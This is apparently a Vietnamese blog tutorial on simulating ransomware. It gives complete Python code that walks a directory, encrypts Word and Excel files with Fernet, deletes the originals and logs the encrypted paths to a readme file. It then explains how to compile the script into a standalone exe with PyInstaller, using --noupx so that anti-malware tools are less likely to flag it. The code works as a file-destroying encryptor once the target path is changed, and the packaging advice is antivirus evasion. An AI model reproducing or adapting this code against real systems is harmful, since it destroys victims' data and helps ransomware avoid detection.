Trong bài này mình sẽ dùng source code sau đây để mã hóa một số file có đường dẫn được khai báo để giả lập tình huống mã độc ransomware.
1. Source code
from cryptography.fernet import Fernet
import os
def encfile(encfile):
#key generation
if(os.path.isfile('filekey.key')):
with open('filekey.key','rb') as filekey:
key = filekey.read()
else:
key = Fernet.generate_key()
#using the gerated key
fernet = Fernet(key)
#string the key in the file
with open ('filekey.key','wb') as filekey:
filekey.write(key)
#opening the original file to encrypt
with open (encfile,'rb') as file:
original = file.read()
encrypted = fernet.encrypt(original)
#delete original file
os.remove(encfile)
# write the encrypted data with your extension
newfile = encfile + ".testing"
with open(newfile, 'wb+') as encrypted_file:
encrypted_file.write(encrypted)
def encS(path):
for (root, dirs, file) in os.walk(path):
for f in file:
fpath = ""
if (str(root).endswith("//")):
fpath = str(root) + str(f)
else:
fpath = (str(root) + "//" + str(f)).replace("\\", "//")
tmp = "encrypted: " + fpath+"\n"
with open(path+'//'+'readme.txt','a') as tfile:
tfile.write(tmp)
if(fpath.endswith("doc") or fpath.endswith("docx") or fpath.endswith("xls") or fpath.endswith("xlsx")):
print(fpath)
encfile(fpath)
encS("C://syvtit-testing")
Trong đoạn code đây mình sẽ cần để ý và có thể tùy biến các đoạn sau để tạo ra tình huống phù hợp với từng ngữ cảnh



2. Pyinstaller
Sử dụng tool pyinstaller để compile source code python trên thành file thực thi exe giả lập tình huống mã độc
Câu lệnh | Mô tả |
pyinstaller –onefile python_script_name.py | Tạo thành 1 file thực thi duy nhất (bao gồm tất cả thư viện, … trong file này) |
pyinstaller –noupx python_script_name.py | –noupx: việc sử dụng UPX sẽ giúp nén file thực thi làm file tạo ra nhỏ hơn, tuy nhiên việc sử dụng upx cũng sẽ có một số phần mềm chống mã độc phát hiện và không cho phép thực thi. Sử dụng option này để ko sử dụng upx |
Thông thường thì mình sẽ sử dụng:
- pyinstaller –onefile python_script_name.py
- pyinstaller –noupx –onefile python_script_name.py


Trong trường hợp có chỉnh sửa code và cần tạo lại file exe thì bạn có thể xóa file trong thư mục dist và xóa luôn thư mục build để chạy lại pyinstaller